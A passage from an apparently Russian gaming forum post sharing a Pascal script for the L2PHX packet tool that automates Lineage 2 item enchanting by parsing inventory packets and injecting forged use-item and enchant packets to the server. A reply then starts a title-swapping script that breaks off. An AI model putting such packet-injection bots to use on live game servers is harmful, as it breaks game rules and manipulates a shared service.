Splitter1.Height := 3;
Splitter1.Visible := TRUE;
Splitter1.Tag := 0;
//......................................
//......................................
//Splitter2
Splitter2 := TSplitter.Create(Result);
Splitter2.Parent := Result;
Splitter2.Align := alRight;
Splitter2.Color := clBtnFace;
Splitter2.Left := 442;
Splitter2.Top := 0;
Splitter2.Width := 1;
Splitter2.Height := 103;
Splitter2.Visible := TRUE;
Splitter2.Tag := 0;
//......................................
//......................................
//Stats
Stats := TMemo.Create(Result);
Stats.Parent := Result;
Stats.Left := 443;
Stats.Top := 0;
Stats.Width := 130;
Stats.Height := 103;
Stats.Visible := TRUE;
Stats.Tag := 0;
Stats.Enabled := TRUE;
Stats.Hint := '';
Stats.ShowHint := FALSE;
Stats.Font.Name := 'Tahoma';
Stats.Font.Size := 8;
Stats.Font.Color := clWindowText;
Stats.Color := clWindow;
Stats.TabOrder := 0;
Stats.TabStop := TRUE;
Stats.Align := alRight;
Stats.WordWrap := TRUE;
Stats.Alignment := taLeftJustify;
Stats.WantTabs := FALSE;
Stats.WantReturns := TRUE;
Stats.HideSelection := TRUE;
Stats.MaxLength := 0;
Stats.OEMConvert := FALSE;
Stats.ReadOnly := FALSE;
Stats.ScrollBars := ssNone;
//......................................
//......................................
//Msg
Msg := TMemo.Create(Result);
Msg.Parent := Result;
Msg.Left := 0;
Msg.Top := 106;
Msg.Width := 573;
Msg.Height := 65;
Msg.Visible := TRUE;
Msg.Tag := 0;
Msg.Enabled := TRUE;
Msg.Hint := '';
Msg.ShowHint := FALSE;
Msg.Font.Name := 'Tahoma';
Msg.Font.Size := 8;
Msg.Font.Color := clWindowText;
Msg.Color := clWindow;
Msg.TabOrder := 1;
Msg.TabStop := TRUE;
Msg.Align := alBottom;
Msg.WordWrap := TRUE;
Msg.Alignment := taLeftJustify;
Msg.WantTabs := FALSE;
Msg.WantReturns := TRUE;
Msg.HideSelection := TRUE;
Msg.MaxLength := 0;
Msg.OEMConvert := FALSE;
Msg.ReadOnly := FALSE;
Msg.ScrollBars := ssNone;
//......................................
//......................................
//Panel1
Panel1 := TPanel.Create(Result);
Panel1.Parent := Result;
Panel1.Left := 0;
Panel1.Top := 0;
Panel1.Width := 442;
Panel1.Height := 103;
Panel1.Visible := TRUE;
Panel1.Tag := 0;
Panel1.Enabled := TRUE;
Panel1.Hint := '';
Panel1.ShowHint := FALSE;
Panel1.Caption := '';
Panel1.Align := alClient;
Panel1.Color := clBtnFace;
Panel1.Font.Name := 'Tahoma';
Panel1.Font.Size := 8;
Panel1.Font.Color := clWindowText;
Panel1.Font.CharSet := 1;
Panel1.BevelWidth := 1;
Panel1.BorderWidth := 0;
Panel1.BevelInner := bvNone;
Panel1.BevelOuter := bvRaised;
Panel1.TabOrder := 2;
Panel1.TabStop := FALSE;
Panel1.AutoSize := FALSE;
//......................................
//......................................
//GroupBox2
GroupBox2 := TGroupBox.Create(Result);
GroupBox2.Parent := Panel1;
GroupBox2.Left := 1;
GroupBox2.Top := 1;
GroupBox2.Width := 440;
GroupBox2.Height := 101;
GroupBox2.Visible := TRUE;
GroupBox2.Tag := 0;
GroupBox2.Enabled := TRUE;
GroupBox2.Hint := '';
GroupBox2.ShowHint := FALSE;
GroupBox2.Caption := 'Настройки';
GroupBox2.Align := alClient;
GroupBox2.Color := clBtnFace;
GroupBox2.Font.Name := 'Tahoma';
GroupBox2.Font.Size := 8;
GroupBox2.Font.Color := clWindowText;
GroupBox2.Font.CharSet := 1;
GroupBox2.TabOrder := 0;
GroupBox2.TabStop := FALSE;
//......................................
//......................................
//Label1
Label1 := TLabel.Create(Result);
Label1.Parent := GroupBox2;
Label1.Left := 10;
Label1.Top := 70;
Label1.Width := 58;
Label1.Height := 13;
Label1.Visible := TRUE;
Label1.Tag := 0;
Label1.Enabled := TRUE;
Label1.Hint := '';
Label1.ShowHint := FALSE;
Label1.Caption := 'Уровень Макс.:';
Label1.Transparent := TRUE;
Label1.WordWrap := FALSE;
Label1.Alignment := taLeftJustify;
Label1.Layout := tlTop;
Label1.AutoSize := TRUE;
Label1.Align := alNone;
Label1.Font.Name := 'Tahoma';
Label1.Font.Size := 8;
Label1.Font.Color := clWindowText;
Label1.Color := clBtnFace;
//......................................
//......................................
//Label1
Label3 := TLabel.Create(Result);
Label3.Parent := GroupBox2;
Label3.Left := 170;
Label3.Top := 70;
Label3.Width := 58;
Label3.Height := 13;
Label3.Visible := TRUE;
Label3.Tag := 0;
Label3.Enabled := TRUE;
Label3.Hint := '';
Label3.ShowHint := FALSE;
Label3.Caption := 'Мин.:';
Label3.Transparent := TRUE;
Label3.WordWrap := FALSE;
Label3.Alignment := taLeftJustify;
Label3.Layout := tlTop;
Label3.AutoSize := TRUE;
Label3.Align := alNone;
Label3.Font.Name := 'Tahoma';
Label3.Font.Size := 8;
Label3.Font.Color := clWindowText;
Label3.Color := clBtnFace;
//......................................
//......................................
//Edit1
Edit1 := TEdit.Create(Result);
Edit1.Parent := GroupBox2;
Edit1.Left := 90;
Edit1.Top := 67;
Edit1.Width := 60;
Edit1.Height := 21;
Edit1.Visible := TRUE;
Edit1.Tag := 0;
Edit1.Enabled := TRUE;
Edit1.Hint := 'Введи желаемый уровень улучшения';
Edit1.ShowHint := TRUE;
Edit1.Text := '65535';
Edit1.Font.Name := 'Tahoma';
Edit1.Font.Size := 8;
Edit1.Font.Color := clWindowText;
Edit1.Color := clWindow;
Edit1.TabOrder := 5;
Edit1.TabStop := TRUE;
Edit1.ReadOnly := FALSE;
Edit1.MaxLength := 0;
Edit1.AutoSize := TRUE;
Edit1.OnExit := @Edit1_Exit;
//......................................
//......................................
//Edit2
Edit2 := TEdit.Create(Result);
Edit2.Parent := GroupBox2;
Edit2.Left := 199;
Edit2.Top := 67;
Edit2.Width := 60;
Edit2.Height := 21;
Edit2.Visible := TRUE;
Edit2.Tag := 0;
Edit2.Enabled := TRUE;
Edit2.Hint := 'Какого уровня смогли достичь';
Edit2.ShowHint := TRUE;
Edit2.Text := '0';
Edit2.Font.Name := 'Tahoma';
Edit2.Font.Size := 8;
Edit2.Font.Color := clWindowText;
Edit2.Color := clWindow;
Edit2.TabOrder := 5;
Edit2.TabStop := FALSE;
Edit2.ReadOnly := TRUE;
Edit2.MaxLength := 0;
Edit2.AutoSize := TRUE;
//......................................
//......................................
//Label2
Label2 := TLabel.Create(Result);
Label2.Parent := GroupBox2;
Label2.Left := 416;
Label2.Top := 19;
Label2.Width := 18;
Label2.Height := 13;
Label2.Visible := TRUE;
Label2.Tag := 0;
Label2.Enabled := TRUE;
Label2.Hint := '';
Label2.ShowHint := FALSE;
Label2.Caption := 'шт.';
Label2.Transparent := TRUE;
Label2.WordWrap := FALSE;
Label2.Alignment := taLeftJustify;
Label2.Layout := tlTop;
Label2.AutoSize := TRUE;
Label2.Align := alNone;
Label2.Font.Name := 'Tahoma';
Label2.Font.Size := 8;
Label2.Font.Color := clWindowText;
Label2.Color := clBtnFace;
//......................................
//......................................
//Label4
Label4 := TLabel.Create(Result);
Label4.Parent := GroupBox2;
Label4.Left := 416;
Label4.Top := 43;
Label4.Width := 18;
Label4.Height := 13;
Label4.Visible := TRUE;
Label4.Tag := 0;
Label4.Enabled := TRUE;
Label4.Hint := '';
Label4.ShowHint := FALSE;
Label4.Caption := 'шт.';
Label4.Transparent := TRUE;
Label4.WordWrap := FALSE;
Label4.Alignment := taLeftJustify;
Label4.Layout := tlTop;
Label4.AutoSize := TRUE;
Label4.Align := alNone;
Label4.Font.Name := 'Tahoma';
Label4.Font.Size := 8;
Label4.Font.Color := clWindowText;
Label4.Color := clBtnFace;
//......................................
//......................................
//Label12
Label12 := TLabel.Create(Result);
Label12.Parent := GroupBox2;
Label12.Left := 273;
Label12.Top := 3;
Label12.Width := 33;
Label12.Height := 13;
Label12.Visible := TRUE;
Label12.Tag := 0;
Label12.Enabled := TRUE;
Label12.Hint := '';
Label12.ShowHint := FALSE;
Label12.Caption := 'ItemID';
Label12.Transparent := TRUE;
Label12.WordWrap := FALSE;
Label12.Alignment := taLeftJustify;
Label12.Layout := tlTop;
Label12.AutoSize := TRUE;
Label12.Align := alNone;
Label12.Font.Name := 'Tahoma';
Label12.Font.Size := 8;
Label12.Font.Color := clWindowText;
Label12.Color := clBtnFace;
//......................................
//......................................
//Label13
Label13 := TLabel.Create(Result);
Label13.Parent := GroupBox2;
Label13.Left := 349;
Label13.Top := 3;
Label13.Width := 35;
Label13.Height := 13;
Label13.Visible := TRUE;
Label13.Tag := 0;
Label13.Enabled := TRUE;
Label13.Hint := '';
Label13.ShowHint := FALSE;
Label13.Caption := 'Кол-во';
Label13.Transparent := TRUE;
Label13.WordWrap := FALSE;
Label13.Alignment := taLeftJustify;
Label13.Layout := tlTop;
Label13.AutoSize := TRUE;
Label13.Align := alNone;
Label13.Font.Name := 'Tahoma';
Label13.Font.Size := 8;
Label13.Font.Color := clWindowText;
Label13.Color := clBtnFace;
//......................................
//......................................
//CheckBoxItem
CheckBoxItem := TCheckBox.Create(Result);
CheckBoxItem.Parent := GroupBox2;
CheckBoxItem.Left := 18;
CheckBoxItem.Top := 18;
CheckBoxItem.Width := 66;
CheckBoxItem.Height := 17;
CheckBoxItem.Visible := TRUE;
CheckBoxItem.Tag := 0;
CheckBoxItem.Enabled := TRUE;
CheckBoxItem.Hint := 'Поставить галочку если выбрали предмет';
CheckBoxItem.ShowHint := TRUE;
CheckBoxItem.Caption := 'Предмет';
CheckBoxItem.Font.Name := 'Tahoma';
CheckBoxItem.Font.Size := 8;
CheckBoxItem.Font.Color := clWindowText;
CheckBoxItem.Color := clBtnFace;
CheckBoxItem.TabOrder := 0;
CheckBoxItem.TabStop := TRUE;
CheckBoxItem.Checked := FALSE;
CheckBoxItem.AllowGrayed := FALSE;
CheckBoxItem.State := cbUnchecked;
CheckBoxItem.OnClick := @CheckBoxItem_Click;
//......................................
//......................................
//ComboBoxItem
ComboBoxItem := TComboBox.Create(Result);
ComboBoxItem.Parent := GroupBox2;
ComboBoxItem.Left := 90;
ComboBoxItem.Top := 16;
ComboBoxItem.Width := 169;
ComboBoxItem.Height := 21;
ComboBoxItem.Visible := TRUE;
ComboBoxItem.Tag := 0;
ComboBoxItem.Enabled := TRUE;
ComboBoxItem.Hint := 'Выбери из списка улучшаемый предмет';
ComboBoxItem.ShowHint := TRUE;
ComboBoxItem.Text := 'ComboBoxItem';
ComboBoxItem.Font.Name := 'Tahoma';
ComboBoxItem.Font.Size := 8;
ComboBoxItem.Font.Color := clWindowText;
ComboBoxItem.Color := clWindow;
ComboBoxItem.TabOrder := 1;
ComboBoxItem.TabStop := TRUE;
ComboBoxItem.ItemIndex := -1;
ComboBoxItem.Sorted := FALSE;
ComboBoxItem.ItemHeight := 13;
ComboBoxItem.OnClick := @ComboBoxItem_Click;
//......................................
//......................................
//ButtonStartEnchant
ButtonStartEnchant := TButton.Create(Result);
ButtonStartEnchant.Parent := GroupBox2;
ButtonStartEnchant.Left := 265;
ButtonStartEnchant.Top := 67;
ButtonStartEnchant.Width := 75;
ButtonStartEnchant.Height := 25;
ButtonStartEnchant.Visible := TRUE;
ButtonStartEnchant.Tag := 0;
ButtonStartEnchant.Enabled := TRUE;
ButtonStartEnchant.Hint := '';
ButtonStartEnchant.ShowHint := FALSE;
ButtonStartEnchant.Caption := 'Start';
ButtonStartEnchant.Font.Name := 'Tahoma';
ButtonStartEnchant.Font.Size := 8;
ButtonStartEnchant.Font.Color := clWindowText;
ButtonStartEnchant.Font.CharSet := 1;
ButtonStartEnchant.TabOrder := 2;
ButtonStartEnchant.TabStop := TRUE;
ButtonStartEnchant.Cancel := FALSE;
ButtonStartEnchant.ModalResult := 0;
ButtonStartEnchant.OnClick := @ButtonStartEnchant_Click;
//......................................
//......................................
//ButtonStopEnchant
ButtonStopEnchant := TButton.Create(Result);
ButtonStopEnchant.Parent := GroupBox2;
ButtonStopEnchant.Left := 341;
ButtonStopEnchant.Top := 67;
ButtonStopEnchant.Width := 75;
ButtonStopEnchant.Height := 25;
ButtonStopEnchant.Visible := TRUE;
ButtonStopEnchant.Tag := 0;
ButtonStopEnchant.Enabled := TRUE;
ButtonStopEnchant.Hint := '';
ButtonStopEnchant.ShowHint := FALSE;
ButtonStopEnchant.Caption := 'Stop';
ButtonStopEnchant.Font.Name := 'Tahoma';
ButtonStopEnchant.Font.Size := 8;
ButtonStopEnchant.Font.Color := clWindowText;
ButtonStopEnchant.Font.CharSet := 1;
ButtonStopEnchant.TabOrder := 3;
ButtonStopEnchant.TabStop := TRUE;
ButtonStopEnchant.Cancel := FALSE;
ButtonStopEnchant.ModalResult := 0;
ButtonStopEnchant.OnClick := @ButtonStopEnchant_Click;
//......................................
//......................................
//CheckBoxScroll
CheckBoxScroll := TCheckBox.Create(Result);
CheckBoxScroll.Parent := GroupBox2;
CheckBoxScroll.Left := 18;
CheckBoxScroll.Top := 41;
CheckBoxScroll.Width := 66;
CheckBoxScroll.Height := 23;
CheckBoxScroll.Visible := TRUE;
CheckBoxScroll.Tag := 0;
CheckBoxScroll.Enabled := TRUE;
CheckBoxScroll.Hint := 'Поставить галочку если выбрали свиток улучшения';
CheckBoxScroll.ShowHint := TRUE;
CheckBoxScroll.Caption := 'Свиток';
CheckBoxScroll.Font.Name := 'Tahoma';
CheckBoxScroll.Font.Size := 8;
CheckBoxScroll.Font.Color := clWindowText;
CheckBoxScroll.Color := clBtnFace;
CheckBoxScroll.TabOrder := 4;
CheckBoxScroll.TabStop := TRUE;
CheckBoxScroll.Checked := FALSE;
CheckBoxScroll.AllowGrayed := FALSE;
CheckBoxScroll.State := cbUnchecked;
CheckBoxScroll.OnClick := @CheckBoxScroll_Click;
//......................................
//......................................
//ComboBoxScroll
ComboBoxScroll := TComboBox.Create(Result);
ComboBoxScroll.Parent := GroupBox2;
ComboBoxScroll.Left := 90;
ComboBoxScroll.Top := 40;
ComboBoxScroll.Width := 169;
ComboBoxScroll.Height := 21;
ComboBoxScroll.Visible := TRUE;
ComboBoxScroll.Tag := 0;
ComboBoxScroll.Enabled := TRUE;
ComboBoxScroll.Hint := 'Выбери из списка свиток улучшения';
ComboBoxScroll.ShowHint := TRUE;
ComboBoxScroll.Text := 'ComboBoxScroll';
ComboBoxScroll.Font.Name := 'Tahoma';
ComboBoxScroll.Font.Size := 8;
ComboBoxScroll.Font.Color := clWindowText;
ComboBoxScroll.Color := clWindow;
ComboBoxScroll.TabOrder := 5;
ComboBoxScroll.TabStop := TRUE;
ComboBoxScroll.ItemIndex := -1;
ComboBoxScroll.Sorted := FALSE;
ComboBoxScroll.ItemHeight := 13;
ComboBoxScroll.OnClick := @ComboBoxScroll_Click;
//......................................
//......................................
//EditItemVal
EditItemVal := TEdit.Create(Result);
EditItemVal.Parent := GroupBox2;
EditItemVal.Left := 341;
EditItemVal.Top := 16;
EditItemVal.Width := 72;
EditItemVal.Height := 21;
EditItemVal.Visible := TRUE;
EditItemVal.Tag := 0;
EditItemVal.Enabled := TRUE;
EditItemVal.Hint := '';
EditItemVal.ShowHint := FALSE;
EditItemVal.Text := '0';
EditItemVal.Font.Name := 'Tahoma';
EditItemVal.Font.Size := 8;
EditItemVal.Font.Color := clWindowText;
EditItemVal.Color := clWindow;
EditItemVal.TabOrder := 6;
EditItemVal.TabStop := TRUE;
EditItemVal.ReadOnly := TRUE;
EditItemVal.MaxLength := 0;
EditItemVal.AutoSize := TRUE;
//......................................
//......................................
//EditScrollVal
EditScrollVal := TEdit.Create(Result);
EditScrollVal.Parent := GroupBox2;
EditScrollVal.Left := 341;
EditScrollVal.Top := 40;
EditScrollVal.Width := 72;
EditScrollVal.Height := 21;
EditScrollVal.Visible := TRUE;
EditScrollVal.Tag := 0;
EditScrollVal.Enabled := TRUE;
EditScrollVal.Hint := '';
EditScrollVal.ShowHint := FALSE;
EditScrollVal.Text := '0';
EditScrollVal.Font.Name := 'Tahoma';
EditScrollVal.Font.Size := 8;
EditScrollVal.Font.Color := clWindowText;
EditScrollVal.Color := clWindow;
EditScrollVal.TabOrder := 7;
EditScrollVal.TabStop := TRUE;
EditScrollVal.ReadOnly := TRUE;
EditScrollVal.MaxLength := 0;
EditScrollVal.AutoSize := TRUE;
//......................................
//......................................
//EditScrollOID
EditScrollOID := TEdit.Create(Result);
EditScrollOID.Parent := GroupBox2;
EditScrollOID.Left := 263;
EditScrollOID.Top := 40;
EditScrollOID.Width := 72;
EditScrollOID.Height := 21;
EditScrollOID.Visible := TRUE;
EditScrollOID.Tag := 0;
EditScrollOID.Enabled := TRUE;
EditScrollOID.Hint := '';
EditScrollOID.ShowHint := FALSE;
EditScrollOID.Text := '0';
EditScrollOID.Font.Name := 'Tahoma';
EditScrollOID.Font.Size := 8;
EditScrollOID.Font.Color := clWindowText;
EditScrollOID.Color := clWindow;
EditScrollOID.TabOrder := 8;
EditScrollOID.TabStop := TRUE;
EditScrollOID.ReadOnly := TRUE;
EditScrollOID.MaxLength := 0;
EditScrollOID.AutoSize := TRUE;
//......................................
//......................................
//EditItemOID
EditItemOID := TEdit.Create(Result);
EditItemOID.Parent := GroupBox2;
EditItemOID.Left := 264;
EditItemOID.Top := 16;
EditItemOID.Width := 72;
EditItemOID.Height := 21;
EditItemOID.Visible := TRUE;
EditItemOID.Tag := 0;
EditItemOID.Enabled := TRUE;
EditItemOID.Hint := '';
EditItemOID.ShowHint := FALSE;
EditItemOID.Text := '0';
EditItemOID.Font.Name := 'Tahoma';
EditItemOID.Font.Size := 8;
EditItemOID.Font.Color := clWindowText;
EditItemOID.Color := clWindow;
EditItemOID.TabOrder := 9;
EditItemOID.TabStop := TRUE;
EditItemOID.ReadOnly := TRUE;
EditItemOID.MaxLength := 0;
EditItemOID.AutoSize := TRUE;
//......................................
Yes := TRUE;
FINALLY
if not Yes then begin
//Освобождаем ресурсы, если неудачно ...
if Result<>NIL then begin
Result.Free;
Result:=NIL;
end;
end;
END;
msg.Lines.Add('Автоматизация заточки by NLObP для Грации!');
Result.Show;
end; //Create_FormMain
//========================
//========================
procedure Init; //Вызывается при включении скрипта
var
i:integer;
begin
FormMain:=Create_FormMain;
//Enchant:=false;
CurEnchLvl:=0;
timer:=TTimer.Create(nil);
timer.OnTimer:=@OnTimer;
timer.enabled:=false;
timer.interval:=500; //время задержки

ShowInf:=TTimer.Create(nil);
ShowInf.OnTimer:=@OnShowInfo;
ShowInf.enabled:=true;
ShowInf.interval:=1000; //время задержки

StartTime:=time;
good:=0;
broken:=0;
ready:=false;
//RequestItemList вызываем инвентарь
buf:=hstr('14');
SendToServerEx(Name);
StringList:=TStringList.Create;
ItemsName:=TStringList.Create;
try
ItemsName.LoadFromFile('itemsid.ini');
except
msg.Lines.Add('itemsid.ini не найден!');
exit;
end;
end;
//.................................................. ............................
procedure Free; //Вызывается при выключении скрипта
begin
BaseItems:=nil; //нельзя так делать с массивом
ShowInf.Enabled:=false; ShowInf.Interval:=0; ShowInf.Free; ShowInf.OnTimer:=nil;
timer.Enabled:=false; timer.Interval:=0; timer.Free; timer.OnTimer:=nil;

StringList.Clear;
ItemsName.Clear;
//достаточно освободить форму
Free_FormMain;
end;
//.................................................. ............................
procedure ShowInfo;
var
i: integer;
begin
stats.Lines.Clear;
stats.Lines.Add('Имя чара :'+Name);
stats.Lines.Add('Время старта :'+TimeToStr(starttime));
stats.Lines.Add('Время ловли :'+TimeToStr(time-starttime));
stats.Lines.Add('Улучшили: '+IntToStr(good));
stats.Lines.Add('Сломали: '+IntToStr(broken));
end;
//......................................
//************************************************** *************
procedure OnShowInfo(Sender: TObject); //выводим в форму
begin
ShowInfo;
end;
//.................................................. ............................
//послать сообщение в чат
//use: SendMessage(msg);
procedure SendMessage(msg:string); //отправка системных сообщений клиенту
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msg);
SendToClientEx(Name);
end;
//.................................................. ............................
procedure debugMsg(msg: string);
begin
if debug then begin
sendMSG(msg);
SendMessage(msg);
end;
end;
//.................................................. ............................
procedure ItemList;
{Создаем базу Items}
//11=ItemList:h(ShowWindow)h(ListSize:Loop.01.0021)h (ItemType1)d(ObjectID)
// d(ItemID:Get.Func01)d(LocationSlot)d(Count)h(ItemT ype2)h(CustomType1)
// h(isEquipped)d(BodyPart)h(EnchantLevel)h(CustType2 )d(AugmentationID)
// d(Mana)d(AttackAttrElement)d(AttackAttrElementVal) d(DefAttrFire)
// d(DefAttrWater)d(DefAttrWind)d(DefAttrEarth)d(DefA ttrHoly)d(DefAttrUnholy)
var
i, j, k: integer;
ListCount: integer;
begin
j:=4; //смещение для ListCount
ListCount:=ReadH(j); //количество итемов не должно превышать max!
for i:=1 to maxitems do
if (i<=ListCount) then begin
BaseItems[i,1]:=ReadH(j); //ItemType1
BaseItems[i,2]:=ReadD(j); //ObjectID
BaseItems[i,3]:=ReadD(j); //ItemID
BaseItems[i,4]:=ReadD(j); //LocationSlot
BaseItems[i,5]:=ReadD(j); //Count
BaseItems[i,6]:=ReadH(j); //ItemType2
BaseItems[i,7]:=ReadH(j); //CustomType1
BaseItems[i,8]:=ReadH(j); //isEquipped
BaseItems[i,9]:=ReadD(j); //BodyPart
BaseItems[i,10]:=ReadH(j); //EnchantLevel
BaseItems[i,11]:=ReadH(j); //CustType2
BaseItems[i,12]:=ReadD(j); //AugmentationID
//debugmsg('OID='+inttostr(BaseItems[i,2])+' ID='+inttostr(BaseItems[i,3]));
inc(j,40);
end else for k:=1 to 12 do BaseItems[i,k]:=0; // забиваем нулями
//вносим изменения в чекбоксы
StringList.Clear;
try
for i:=1 to ListCount do begin
try
//StringList.Add(ItemsName[ItemBase[2,i]-1]); //записываем название вещей из инвентаря
StringList.Add(ItemsName.Values[IntToStr(BaseItems[i,3])]); //записываем название вещей из инвентаря
except;
//msg.Lines.Add('Пропускаем! Нет ItemID='+inttostr(BaseItems[i,3])+' в itemsid.ini');
end
end;
except;
//msg.Lines.Add('ошибка в CreateItemBase->StringList.Add()');
//msg.Lines.Add(inttostr(BaseItems[i,3]));
exit;
end;
if not CheckBoxItem.Checked then begin //наполняем комбобокс
with ComboBoxItem do
begin
Items.Clear;
Items.Assign(StringList);
ItemIndex:=0;
end;
end;
if not CheckBoxScroll.Checked then begin //наполняем комбобокс
with ComboBoxScroll do
begin
Items.Clear;
Items.Assign(StringList);
ItemIndex:=0;
end;
end;
end;
//.................................................. ............................
procedure InventoryUpdate; //пакет 27, Создает базу ObjectID по ItemID
var
i, ii, j, k, ListCount, UpdType : integer;
ItemType1, ObjectID, ItemID, LocationSlot, Count, ItemType2, CustomType1,
isEquipped, BodyPart, EnchantLevel, CustType2, AugmentationID :integer;
additem : boolean;
begin
additem:=true;
ListCount:=ReadH(2); //количество итемов
// debugmsg('ListCount='+inttostr(ListCount));
j:=4; //смещение для действия с предметом 1-добавлен 2-изменен 3-удален
for i:=1 to ListCount do begin
UpdType:=ReadH(j);
ItemType1:=ReadH(j);
ObjectID:=ReadD(j);
ItemID:=ReadD(j);
LocationSlot:=ReadD(j);
Count:=ReadD(j);
ItemType2:=ReadH(j);
CustomType1:=ReadH(j);
isEquipped:=ReadH(j);
BodyPart:=ReadD(j);
EnchantLevel:=ReadH(j);
CustType2:=ReadH(j);
AugmentationID:=ReadD(j);
case UpdType of
1: k:=0; //добавлен новый предмет
2: k:=ObjectID; //изменен предмет в инвентаре
3: begin //удален
for ii:=1 to maxitems do
if (BaseItems[ii,2]=ObjectID) then begin
//debugmsg('удаляем OID='+inttostr(BaseItems[ii,2])+' ID='+inttostr(BaseItems[ii,3]));
for k:=1 to 12 do BaseItems[ii,k]:=0;
break;
end;
end;
end;
for ii:=1 to maxitems do begin
if (BaseItems[ii,2]=k) then begin
BaseItems[ii,1]:=ItemType1;
//BaseItems[ii,2]:=ObjectID;
BaseItems[ii,3]:=ItemID;
BaseItems[ii,4]:=LocationSlot;
BaseItems[ii,5]:=Count;
BaseItems[ii,6]:=ItemType2;
BaseItems[ii,7]:=CustomType1;
BaseItems[ii,8]:=isEquipped;
BaseItems[ii,9]:=BodyPart;
BaseItems[ii,10]:=EnchantLevel;
BaseItems[ii,11]:=CustType2;
BaseItems[ii,12]:=AugmentationID;
//debugmsg('доб/изм OID='+inttostr(BaseItems[ii,2])+' ID='+inttostr(BaseItems[ii,3]));
break;
end;
end;
inc(j,38);
end;
end;
//.................................................. ............................
function GetItem(ID, FieldIn, FieldOut : integer): integer;
{GetInv(по чему будем искать, номер того по чему будем искать, номер того что надо найти)
где:
ID - искомый код;
FieldIn - по какому полю ищем;
FieldOut - какое поле возвращаем;
1=ItemType1; 2=ObjectID;3=ItemID;4=LocationSlot;5=Count;6=ItemT ype2;7=CustomType1;
8=isEquipped;9=BodyPart;10=EnchantLevel;11=CustTyp e2;12=AugmentationID;
ex1: GetInv(6408,2,1) - вернет ObjectID свадебного платья, если онное лежит в
инвентаре, иначе вернет -1
ex2: GetInv(6408,2,8) - вернет уровень заточки первого попавшегося в инвентаре
свадебного платья, если свадебного платья нет, то вернет -1
}
var
i: integer;
begin
for i:=1 to maxitems do
if (BaseItems[i,FieldIn]=ID) then begin
Result:=BaseItems[i,FieldOut];
//debugmsg('Нашли='+inttostr(result));
exit;
end;
Result:=-1;
end;
//.................................................. ............................
//************************************************** ****************************
//находим в инвентаре предмет с ItemID и возвращаем его ObjectID
function GetItemEnchant(item,lvl:integer) : integer;
var
i : integer;
begin
//ничего не нашли
result:=0;
for i:=1 to maxitems do
if (BaseItems[i,3]=item) and (BaseItems[i,10]=lvl) then begin
ItemEnch:=BaseItems[i,10];
Result:=BaseItems[i,2];
//debugmsg('Нашли='+inttostr(result));
exit;
end;
// Result:=-1;
end;
//************************************************** ****************************
function SumItem(Item: integer):integer;
var
sum, i : integer;
begin
result:=0;
//находим подходящий предмет по ItemID
for i:=1 to maxitems do begin
if (BaseItems[i,3]=item) then begin
// msg.Lines.Add('Нашли предмет ItemOID='+inttostr(ItemBase[1,i])+' ItemID='+inttostr(ItemBase[2,i])+' ItemCol='+inttostr(ItemBase[3,i])+' EnchantLvl='+inttostr(ItemBase[4,i]));
// msg.Lines.Add('i='+inttostr(i));
result:=result+BaseItems[i,5]; //count
//inc(result);
end;
end;
end;
//************************************************** ****************************
procedure UseItem(ObjectID: integer);
begin
buf:=#$19;
WriteD(ObjectID);
WriteD(0);
SendToServerEx(Name);
end;
//************************************************** ****************************
procedure RequestEnchantItem(ObjectID: integer);
begin
buf:=#$5F;
WriteD(ObjectID);
SendToServerEx(Name);
end;
//************************************************** ****************************
procedure OnTimer(Sender: TObject);
begin
EditItemVal.text:=inttostr(sumitem(ItemID));
EditScrollVal.text:=inttostr(sumitem(ScrollID));
if (strtoint(Edit2.text)>=strtoint(Edit1.Text)) then begin
msg.Lines.Add('Нет подходящих предметов для улучшения! Прервано!');
timer.enabled:=false;
exit;
end;
if (sumitem(ItemID)<=1) then begin
// if (sumitem(ItemID)<=0) then begin //если надо точить одну вещь
msg.Lines.Add('Предметов для улучшения должно быть больше двух! Прервано!');
timer.enabled:=false;
exit;
end;

if ready then exit;

ScrollOID:=GetItem(ScrollID,3,2);//найдем OID скролла
if ScrollOID=-1 then begin
msg.Lines.Add('Кончились свитки! Прервано!');
timer.enabled:=false;
exit;
end;
UseItem(ScrollOID);
msg.Lines.Add('Задействовали свиток ScrollID='+IntToStr(scrollID)+' ScrollOID='+IntToStr(ScrollOID));
ready:=true; //готовы затачивать
end;
//************************************************** ****************************
// вызывается при приходе каждого пакета, если скрипт включен
//************************************************** ****************************
begin
//************************************************** **************************
//не обрабатываем пустые пакеты
if pck='' then exit;
//************************************************** **************************
if FromServer then
case pck[1] of
//......................................
#$11: begin
//debugmsg('S>C Пакет ItemListPacket #$11');
ItemList;
end;
//......................................
#$21: begin
//debugmsg('S>C Пакет InventoryUpdate #$21');
InventoryUpdate;
end;
//......................................
//Пакет ChooseInventory
#$7C: begin
if ready then begin //and (readd(2)=itemid)
//ищем подходящий предмет для заточки
timer.enabled:=false; //отключаем пока не найдем предмет для заточки
repeat
ItemOID:=GetItemEnchant(ItemID, CurEnchLvl);
if ItemOID=0 then begin
inc(CurEnchLvl);
Edit2.text:=inttostr(CurEnchLvl);
end;
until ItemOID<>0;
//************************************************
if (CurEnchLvl>=strtoint(Edit1.Text)) then begin
msg.Lines.Add('Нет подходящих предметов для улучшения! Прервано!');
msg.Lines.Add('Достигли MaxEnchLvl!');
timer.enabled:=false;
ready:=false;
delay(500);
RequestEnchantItem(-1);
exit;
end else begin
// msg.Lines.Add('Пробуем улучшить ItemID='+IntToStr(ItemID)+' ItemOID='+IntToStr(ItemOID)+' ItemEnchLvl='+IntToStr(ItemEnch));
RequestEnchantItem(ItemOID);
ready:=false;
timer.enabled:=true;
end;
end;
end;
#$87: begin
if readd(2)=0 then begin
msg.Lines.Add('Улучшили ItemID='+IntToStr(ItemID)+' ItemOID='+IntToStr(ItemOID)+' ItemEnchLvl='+IntToStr(ItemEnch));
inc(good);
end else begin
msg.Lines.Add('Сломали ItemID='+IntToStr(ItemID)+' ItemOID='+IntToStr(ItemOID)+' ItemEnchLvl='+IntToStr(ItemEnch));
inc(broken);
end;
// CurEnchLvl:=0; //начнем с начала. Расскоментировать для блессет скроллов
end;
end;
end.

Для Интерлюд и С4:

[Ссылки могут видеть только зарегистрированные и активированные пользователи] [Пасс: Zhyk.ru]

Применение: Вставте в l2phx во вкладку скрипты не забудьте поменять ник(NLObP) в скрипте на свой.
Автор скриптов: NLObP

Тамбик
14.05.2009, 14:30
Автор я mks помог
для ХБ проверен
// подмена титула игрока на Class игрока

var

ClassID, i: Integer;
Name, Class,part1,part2,Title: String;

procedure Init;
begin
end;

procedure Free;
begin
end;
procedure OnConnect(WithClient: Boolean);
begin

end;

procedure OnDisonnect(WithClient: Boolean);
begin

end;

begin
